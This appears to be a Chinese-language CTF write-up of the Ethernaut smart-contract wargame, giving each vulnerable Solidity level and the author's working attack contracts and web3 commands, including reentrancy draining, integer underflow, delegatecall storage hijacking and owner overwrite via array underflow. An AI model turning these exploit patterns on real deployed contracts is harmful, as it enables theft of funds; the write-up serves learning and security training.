内容简介:很长时间都没有更新博客了,一个是确实这一长段的时间学的东西都很杂乱,另一方面是考虑到之后的论文害怕被查重的问题,不是特别想写。加上实验室的各种杂事和项目东西也没时间玩玩比赛,成为了真正的只看 wp 的老年退役选手。之前在学点前端开发的东西,egg+vue 相关的,找到一个论文的点,还没来得及落笔。这最近主要在搞搞区块链,主要点放在比特币、以太坊和超级账本上面把,想着把区块链和工控结合一下,不过结合点很局限,而且可能只有联盟链还能有些结合点,当然结合点又会引发很多新的问题,还得多看多学。这种偏理论的东西还是
很长时间都没有更新博客了,一个是确实这一长段的时间学的东西都很杂乱,另一方面是考虑到之后的论文害怕被查重的问题,不是特别想写。加上实验室的各种杂事和项目东西也没时间玩玩比赛,成为了真正的只看 wp 的老年退役选手。
之前在学点前端开发的东西,egg+vue 相关的,找到一个论文的点,还没来得及落笔。这最近主要在搞搞区块链,主要点放在比特币、以太坊和超级账本上面把,想着把区块链和工控结合一下,不过结合点很局限,而且可能只有联盟链还能有些结合点,当然结合点又会引发很多新的问题,还得多看多学。这种偏理论的东西还是思维没打开。不知道有师傅有想法没有可以交流一下。
学习以太坊的时候把 zeppelin ethernaut 的题目刷了一下,不过那天一看又多了两个题目,干脆写个博客算了。
hello ethernaut
教程关没啥好说的,跟着提示一步步搞就行了
await contract.info() // "You will find what you need in info1()." await contract.info1() // "Try info2(), but with "hello" as a parameter." await contract.info2('hello') // "The property infoNum holds the number of the next info method to call." await contract.infoNum() // 42 await contract.info42() // "theMethodName is the name of the next method." await contract.theMethodName() // "The method name is method7123949." await contract.method7123949() // "If you know the password, submit it to authenticate()." await contract.password() // "ethernaut0" await contract.authenticate('ethernaut0')
help
可以看帮助, contract
就是你申请创建的合约节点的对象。
Fallback
说明 fallback 函数的作用,当然这里说的 fallback
函数不是本关 Fallback 合约的构造方法。
这一关的目的是要成为合约节点的 owner 以及把合约节点上 ETHER 全部转走。
看看合约内容
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract Fallback is Ownable { mapping(address => uint) public contributions; function Fallback() public { contributions[msg.sender] = 1000 * (1 ether); } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { owner.transfer(this.balance); } function() payable public { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
成为 owner 有两种办法
- 通过
contribute
向它转1000 ether
,而且每次转账要小于0.001 ether
,显然不行。 - 通过 fallback 函数只要向它转账就行了。
为了满足 fallback 的 contributions[msg.sender] > 0
要先调用一次 contribute 函数
如下:
await contract.contribute({value: 1}) await contract.sendTransaction({value: 1}) // 上两步成为了 owner,下一步把合约的钱转走 await contract.withdraw()
然后 submit 就通过了。
Fallout
这一关的目的也是成为 owner,源码如下:
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract Fallout is Ownable { mapping (address => uint) allocations; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } function allocate() public payable { allocations[msg.sender] += msg.value; } function sendAllocation(address allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(this.balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
这一关就有点无聊了,注意函数名 Fal1out()
,不是 Fallout()
,所以不是构造函数,直接调用就可以了
await contract.Fal1out({"value":1})
Coin Flip
胜利条件是连续赢 10 次硬币翻转就行了。
pragma solidity ^0.4.18; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number-1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
可以看到这里正反面由上一个 block 的 hash 与一个固定值计算得出,那这种随机是不安全的,我们可以部署一个 attack.sol
,提示也提示了用 remix。
pragma solidity ^0.4.18; contract CoinFlip { function CoinFlip() public {} function flip(bool _guess) public returns (bool) {} } contract attack{ address game; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor(address param){ game=param; } function go() public{ uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = blockValue / FACTOR; bool side = (coinFlip==1); CoinFlip a = CoinFlip(game); a.flip(side); } }
运行 10 次 go 就可以了。生成可靠的随机数可能很棘手,目前还没有生成它们的本地方法,因为在智能合约中使用的所有内容都是公开可见的,包括标记为私有的局部变量和状态变量。
telephone
目的也是要成为合约的所有者。
pragma solidity ^0.4.18; contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
这里区分一下 tx.origin
和 msg.sender
,
给定这样一个场景如:用户通过合约 A 调合约 B.
此时
- 对于合约 A :
tx.origin
和msg.sender
都是用户。 - 对于合约 B :
tx.origin
是用户 .msg.sender
是合约 A
origin ,字面意思根源,起源。
所以,这里我们部署一个合约内容如下
pragma solidity ^0.4.18; contract Telephone { function Telephone() public {} function changeOwner(address _owner) public {} } contract attack{ address target; constructor(address param){ target = param; } function go(){ Telephone a = Telephone(target); a.changeOwner(msg.sender); } }
然后攻击者调用 go 函数就可以了。
token
这个就是经典的整形溢出的问题了。
pragma solidity ^0.4.18; contract Token { mapping(address => uint) balances; uint public totalSupply; function Token(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
这里原理是利用输入的 value 大于 20,导致减完之后就会为负,溢出成为一个很大的正整数就可以了。
Delegation
这个题有点疑问,不过我只是觉得我的方法没错并且本地也可以成功,应该哪儿有点问题。
我自己测试代码如下:
pragma solidity ^0.4.18; contract Delegate { address public owner; function Delegate(address _owner) public { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; function Delegation(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } function() public { if(delegate.delegatecall(msg.data)) { this; } } } contract attack{ function go(address param){ param.call(bytes4(keccak256("pwn()"))); } }
我依次部署 Delegate
和 Delegation
合约,然后再部署 attack 合约在地址 A,然后调用 go 函数传入 Delegation
合约的地址,能够成功修改其 owner,但是却无法修改题目服务器的 owner。
这里其实主要思路就是 fallback 的触发条件:
- 一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数
- 二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时
fallback
需要带有payable 标记
。否则,合约就会拒绝这 Ether。
所以直接向实例的地址发起调用一个 pwn 函数的交易就可以了,然后就会自动进入到 fallback 函数体。这里调用需要用 method id
(函数选择器),比如 pwn 函数的 method id
就是 keccak256("pwn()"))
取前四个字节,在 web3 中 sha3 就是 keccak256,所以是 web3.sha3("pwn()").substr(0,10)
。
所以最后结果就是
data=web3.sha3("pwn()").slice(0,10); await web3.eth.sendTransaction({from:player,to:instance,data:data,gas: 1111111},function(x,y){console.error(y)});
Force
这里我们在上一关提到了关于接受转账的话要 fallback 函数为 payable,否则会拒绝收到的转账,但是有一个特例是无法拒绝其他合约通过调用 selfdestruct
自毁之后的资金转移。
构造一个:
pragma solidity ^0.4.18; contract attack{ function () payable{ } function go(address param){ selfdestruct(param); } }
然后部署完了给这个合约转点 ETHER,之后调用 go 函数即可。
Vault
参考链接:
https://solidity.readthedocs.io/en/v0.4.21/contracts.html#visibility-and-getters
https://hackernoon.com/your-private-solidity-variable-is-not-private-save-it-before-it-becomes-public-52a723f29f5e题目代码如下:
pragma solidity ^0.4.18; contract Vault { bool public locked; bytes32 private password; function Vault(bytes32 _password) public { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } }
private 变量不能被别的合约访问,但是区块链上的信息是完全公开的,可以通过 web3 的 getStorage
函数获取到。
1 表示目标合约的第二个变量
web3.eth.getStorageAt(address,1,function(x,y){console.info(y);});
之后 unlock 就可以了。
King
题目代码如下:
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract King is Ownable { address public king; uint public prize; function King() public payable { king = msg.sender; prize = msg.value; } function() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } }
开始还以为是一定要选手账户成为 king,后来才知道搞个别的账户成为 king 也可以,只需要阻止 level address
成为 king 就可以了。
那就写个合约,不接受最后的 transfer 就可以了,这样就会导致 contract 合约上的 tranfer 异常从而执行中断。要想不接受转账就很简单了,不写带 payable 的 fallback 函数、fallback 里面利用 require() 抛出异常或者 revert() 直接返回就可以了。
pragma solidity ^0.4.18; contract attack{ constructor(address param) public payable{ param.call.gas(10000000).value(msg.value)(); } }
Re-entrancy (X)
题目代码如下:
pragma solidity ^0.4.18; contract Reentrance { mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] += msg.value; } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } } function() public payable {} }
比较典型的 DAO
攻击事件的例子了。
本地私有链成功了,但是测试网死活失败的,有点难受。
大概攻击脚本如下。
在测试网里面,一旦调用 hack 函数了,就是账户里面也没有记录,钱也到对面账户里去了,人才两空 23333.
pragma solidity ^0.4.18; contract Reentrance { mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] += msg.value; } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } } function() public payable {} constructor() payable { } } contract Attack { address instance_address; Reentrance target ; uint cnt=2; function Attack(address param) payable{ instance_address = param; target = Reentrance(instance_address); } function donate() public payable { target.donate.value(0.5 ether)(this); } function () public payable { while(cnt>0){ cnt--; target.withdraw(0.5 ether); } } function hack() public { target.withdraw(0.5 ether); } function get_balance() public view returns(uint) { return target.balanceOf(this); } function my_eth_bal() public view returns(uint) { return address(this).balance; } function ins_eth_bal() public view returns(uint) { return instance_address.balance; } }
Elevator
题目代码如下:
pragma solidity ^0.4.18; interface Building { function isLastFloor(uint) view public returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
伪造一个合约在被调用 isLastFloor
,第一次返回 false,第二次返回 true 就可以了。
如下:
pragma solidity ^0.4.18; interface Building { function isLastFloor(uint) view public returns (bool); } contract Elevator { function goTo(uint _floor) public {} } contract attack is Building{ uint cnt=0; function isLastFloor(uint) view public returns (bool){ if(cnt == 0){ cnt++; return false; } else return true; } function go(address param){ Elevator a = Elevator(param); a.goTo(1); } }
Privacy
题目代码如下:
pragma solidity ^0.4.18; contract Privacy { bool public locked = true; uint256 public constant ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now); bytes32[3] private data; function Privacy(bytes32[3] _data) public { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ }
要求解锁 locked 就可以了,那很简单,直接利用 web3 的 api, web3.eth.getStorageAt
就可以,依次获取
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 0,function(x,y){console.info(y);}) 0x000000000000000000000000000000000000000000000000000000d80cff0a01 web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 1,function(x,y){console.info(y);}) 0x47dac1a874d4d1f852075da0347307d6fcfef2a6ca6804ffda7b54e02df5c359 web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 2,function(x,y){console.info(y);}) 0x06080b7822355f604ab68183a2f2a88e2b5be84a34e590605503cf17aec66668 web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 3,function(x,y){console.info(y);}) 0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93 web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 4,function(x,y){console.info(y);}) 0x0000000000000000000000000000000000000000000000000000000000000000 ....
根据 solidity 文档中的变量存储原则,evm 每一次处理 32 个字节,而不足 32 字节的变量相互共享并补齐 32 字节。
那么我们简单分析下题目中的变量们:
bool public locked = true; //1 字节 01 uint256 public constant ID = block.timestamp; //32 字节 uint8 private flattening = 10; //1 字节 0a uint8 private denomination = 255;//1 字节 ff uint16 private awkwardness = uint16(now);//2 字节 bytes32[3] private data;
那么第一个 32 字节就是由 locked
、 flattening
、 denomination
、 awkwardness
组成,另外由于常量是无需存储的,所以从第二个 32 字节起就是 data。
那么 data[2] 就是 0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
,
注意这里进行了强制类型转换将 data[2] 转换成了 bytes16,那么我们取前 16 字节即可。
执行 unlock 即可。
Gatekeeper One (X)
题目代码如下:
pragma solidity ^0.4.18; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
很绝望,又是一个本地和私有链都能成功,远程就是成功不了。
分析下代码,主要就是通过三个验证:
gateOne
:这个通过部署一个中间恶意合约即可绕过
gateTwo
:稍微难一点,我觉我远程成功不了的原因就在这里。 msg.gas
指的是运行到当前指令还剩余的 gas 量,要能整除 8191。那我们只需要 81910+x
,x 为从开始到运行完 msg.gas
所消耗的 gas。网上的 wp 通篇一律的都是 x=215
,但是我 javascript VM
环境下调出来是 x=181
。但是两个答案都是错误的。
那我更换一下编译器,测出来如下:
0.4.13~0.4.17 : x=160 0.4.18~0.4.21 : x=181 0.4.22~0.4.25 : x=324
然后把这些都试过了,不出意外的都失败了。最后贴一下代码
pragma solidity ^0.4.17; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract attack{ GatekeeperOne a; bytes8 _gateKey=bytes8(msg.sender) & 0xffffffff0000ffff; function attack(address instance) payable{ a=GatekeeperOne(instance); } function test(){ a.call.gas(10000)(bytes4(keccak256("enter(bytes8)")),_gateKey); } function hack(){ a.call.gas(81910+324)(bytes4(keccak256("enter(bytes8)")),_gateKey); } }
Gatekeeper Two
题目代码
pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
和上一题类似, gateOne
不多说了。
gateTwo
的话题干给了提示黄皮书第 7 节:
(4) 的引用为
所以很明确了,初始化的时候合约还没有完全创建,代码大小是为 0,那就意味着我们把攻击的代码写到合约的构造函数里面去就可以了。
至于第三个直接异或就可以了。
pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract attack{ function attack(address param){ GatekeeperTwo a = GatekeeperTwo(param); bytes8 _gateKey =bytes8((uint64(0) - 1) ^ uint64(keccak256(this))); a.enter(_gateKey); } }
Naught Coin
题目代码如下:
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol'; contract NaughtCoin is StandardToken { string public constant name = 'NaughtCoin'; string public constant symbol = '0x0'; uint public constant decimals = 18; uint public timeLock = now + 10 years; uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals); address public player; function NaughtCoin(address _player) public { player = _player; totalSupply_ = INITIAL_SUPPLY; balances[player] = INITIAL_SUPPLY; Transfer(0x0, player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) lockTokens public returns(bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(now > timeLock); _; } else { _; } } }
题目要求是把账户的所有钱转光。
但是我们简单看一下逻辑,如果我们要转走所有的钱需要 10 年后才行,暂时也没有发现逻辑中有问题的地方。
既然子合约没有什么问题,那我们看看 import 的父合约
StandardToken.sol ,其其实根据 ERC20 的标准我们也知道,转账有两个函数,一个 transfer
一个 transferFrom
,题目中代码只重写了 transfer
函数,那未重写 transferFrom
就是一个可利用的点了。直接看看 StandardToken.sol
代码:
contract StandardToken { using ERC20Lib for ERC20Lib.TokenStorage; ERC20Lib.TokenStorage token; ... function transfer(address to, uint value) returns (bool ok) { return token.transfer(to, value); } function transferFrom(address from, address to, uint value) returns (bool ok) { return token.transferFrom(from, to, value); } ... }
跟进 ERC20Lib.sol
:
library ERC20Lib { ... function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) { self.balances[msg.sender] = self.balances[msg.sender].minus(_value); self.balances[_to] = self.balances[_to].plus(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) { var _allowance = self.allowed[_from](msg.sender); self.balances[_to] = self.balances[_to].plus(_value); self.balances[_from] = self.balances[_from].minus(_value); self.allowed[_from](msg.sender) = _allowance.minus(_value); Transfer(_from, _to, _value); return true; } ... function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) { self.allowed[msg.sender](_spender) = _value; Approval(msg.sender, _spender, _value); return true; } }
可以直接调用这个 transferFrom
即可了。但是 transferFrom
有一步权限验证,要验证这个 msg.sender
是否被 _from
(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权。
所以如下操作即可:
await contract.approve(player,1000000*(10*18)) await contract.transferFrom(player,instance,1000000*(10**18));
Preservation (X)
题目代码如下:
pragma solidity ^0.4.23; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
这里就是主要利用 delegatecall
函数的特性,先介绍下:
delegatecall 用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage 是 a 的。举个例子:
contract a{ uint public x1; uint public x2; function funca(address param){ param.delegate(bytes4(keccak256("funcb()"))); } } contract b{ uint public y1; uint public y2; function funcb(){ y1=1; y2=2; } }
上述合约中,一旦在 a 中调用了 b 的 funcb
函数,那么对应 a 中 x1 就会等于,x2 就会等于 2。
在这个过程中实际 b 合约的 funcb
函数是把 storage 里面的 slot 1
的值更换为了 1,把 slot 2
的值更换为了 2,那么由于 delegatecall 的原因这里修改的是 a 的 storage,对应就是修改了 x1,x2。
所以这个题就很好办了,我们调用 Preservation
的 setFirstTime
函数时候实际通过 delegatecall 执行了 LibraryContract
的 setTime
函数,修改了 slot 1
,也就是修改了 timeZone1Library
变量。
这样,我们第一次调用 setFirstTime
将 timeZone1Library
变量修改为我们的恶意合约的地址,第二次调用 setFirstTime
就可以执行我们的任意代码了。
如下:
pragma solidity ^0.4.23; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } } contract attack{ address public timeZone1Library; address public timeZone2Library; address public owner; function setTime(uint _time) public { timeZone1Library = address(_time); timeZone2Library = address(_time); owner=address(_time); } }
-
- 执行
contract.setFirstTime(addr)
,其中addr
为attack
合约的地址
- 执行
-
- 再执行
contract.setFirstTime(player)
即可成功修改 owner 为 player。
- 再执行
私有链成功了,但是题目服务器没有成功。
Locked
代码如下
pragma solidity ^0.4.23; // A Locked Name Registrar contract Locked { bool public unlocked = false; // registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked } }
这个就是典型的利用 struct 默认是 storage 的题目,具体介绍看上一篇博客即可。
函数中声明的 newRecord
,修改 name 和 mappedAddress
实际分别改的是 unlocked
和 bytes32 的 name
。所以我们把 name 对应的 slot 1
的值改成 1 就可以了。攻击合约如下:
pragma solidity ^0.4.23; // A Locked Name Registrar contract Locked { bool public unlocked = false; // registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked } } contract attack{ function go(address param){ Locked a = Locked(param); a.register(bytes32(1),address(msg.sender)); } }
Recovery
代码如下:
pragma solidity ^0.4.23; contract Recovery { //generate tokens function generateToken(string _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { // public variables string public name; mapping (address => uint) public balances; // constructor constructor(string _name, address _creator, uint256 _initialSupply) public { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens function() public payable { balances[msg.sender] = msg.value*10; } // allow transfers of tokens function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] -= _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address _to) public { selfdestruct(_to); } }
题目简单来说就是已知一个 Recovery
合约地址,恢复一下它创建的 SimpleToken
合约的地址。
Method 1
这个我们直接看黄皮书第七节就可以了:
关于 nonce
的说明在第四节
简单来说,我们可以总结如下:
new_addr = address(keccak256(RLP([sender_address,nonce])))
nonce 这里很容易我们可以分析得到是 1
nonce=0
一般是智能合约自己创造的事件
sender_address
就是我们得到的题目的 instance
的地址,这里我的是 0x80e71134fa32b2bb01d6e611e48016aef574be40
。
根据 RLP 编码的官方文档 ,我们拿到了编码的 py 脚本如下:
def rlp_encode(input): if isinstance(input,str): if len(input) == 1 and ord(input) < 0x80: return input else: return encode_length(len(input), 0x80) + input elif isinstance(input,list): output = '' for item in input: output += rlp_encode(item) return encode_length(len(output), 0xc0) + output def encode_length(L,offset): if L < 56: return chr(L + offset) elif L < 256**8: BL = to_binary(L) return chr(len(BL) + offset + 55) + BL else: raise Exception("input too long") def to_binary(x): if x == 0: return '' else: return to_binary(int(x / 256)) + chr(x % 256)
所以我们计算如下:
print rlp_encode(["80e71134fa32b2bb01d6e611e48016aef574be40".decode('hex'),"01".decode('hex')]).encode('hex') ''' $ python /tmp/rlp_encode.py d69480e71134fa32b2bb01d6e611e48016aef574be4001 '''
拿到结果 d69480e71134fa32b2bb01d6e611e48016aef574be4001
然后拿到 solidity 里面计算地址
pragma solidity ^0.4.18; contract test{ function func() view returns (address){ return address(keccak256(0xd69480e71134fa32b2bb01d6e611e48016aef574be4001)); } }
得到结果 0xDD48155C966c68cc594a58ce84b67ce9B5CA058E
,这就是我们恢复出来的合约的地址,那么我们可以直接利用 remix 的 at address
功能
然后再调用合约的 destroy
函数就能把所有的钱转回去,从而解决该题目。
Method 2
当然我们还有更简单的办法:
要知道区块链上所有的信息都是公开的,我们直接上 ropsten 测试网的官方网页查就可以了,搜索 instance 地址 0x80e71134fa32b2bb01d6e611e48016aef574be40
,成功查到:
MagicNumber
参考链接: https://www.jianshu.com/p/d9137e87c9d3
这个题就是部署一个合约要求在被调用 whatIsTheMeaningOfLife()
函数时返回 0x42
就可以了。
但是有一个要求是不能超过 10 个 opcode。
这个题目中的有些问题我目前还不是特别清楚还需要研究,不过勉强能把这一关给过了。之后会单写篇文章来解释。
合约的 bytecode(字节码) 一般分为三个部分:(摘自参考链接)
// 部署代码,创建合约时运行部署代码,目的是创建合约并把合约代码 copy 过去 60606040523415600e57600080fd5b5b603680601c6000396000f300 // 合约代码,即实际执行逻辑,代码的主要部分,让它返回 0x42 并且不超过 10 个 opcode 就可以了。 60606040525b600080fd00 // Auxdata,源码的加密指纹,用来验证。可选。 a165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029
先构造合约代码,实际上只需要这样子的合约代码就够了:
600a600c600039600a6000f3604260805260206080f3
Alien Codex
pragma solidity ^0.4.24; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function (bytes32[] _firstContactMessage) public { assert(_firstContactMessage.length > 2**200); contact = true; } function record(bytes32 _content) contacted public { codex.push(_content); } function retract() contacted public { codex.length--; } function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; } }
这里我们首先看到无论调用按个函数都需要过 contacted
函数修饰器。所以首先就要使 contact=true
,那么就是要解决 make_contact
中的这个问题。
直接看 doc
https://solidity.readthedocs.io/en/v0.4.25/abi-spec.html#use-of-dynamic-types
这里描述了动态数组类型的 abi 标准,我们只需要构造长度的值就可以了。详细的构造在后面。
接下来我们需要修改 owner,很容易知道,owner 存储在 slot 0
里面,和 contact
在同一个 slot,但是我们先简单看下代码,只知道我们可以操作 codex 的值,codex 作为一个不定长的数组,我们根据 doc
https://solidity.readthedocs.io/en/v0.4.25/miscellaneous.html#layout-of-state-variables-in-storage
可以知道实际上在 slot 1
位置上存储的是 codex 的 length,而 codex 的实际内容存储在 keccak256(bytes32(1))
开始的位置。
Keccak-256 紧密打包的,意思是说参数不会补位,多个参数也会直接连接在一起。所以这里要用 bytes32(1)
而不是 1
.
这样我们就知道了 codex 实际的存储的 slot,因为总共有 2**256
个 slot,我们想要修改 slot 0
,假设 codex 实际所在 slot x
, 那么当我们修改 codex[y](y=2**256-x)
时就能因为溢出修改到 slot 0
,从而修改到 owner。
但是我们要修改 codex[y]
, 那就要满足 y<codex.length
, 而这个时候我们 codex.length
的值很小,但是我们通过 retract
是 length 下溢然后就可以编辑 codex[y]
了。
所以接下来的操作很简单了。
-
1.
func="0x1d3d4c0b"; // 函数 id data1="0000000000000000000000000000000000000000000000000000000000000020"// 偏移 data2="1000000000000000000000000000000000000000000000000000000000000001"// 长度,构造大于 2**200 data=func+data1+data2 web3.eth.sendTransaction({from:player,to:instance,data: data,gas: 1111111},function(x,y){console.error(y)});
从而使
contact=true
-
-
计算
codex
位置为slot 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
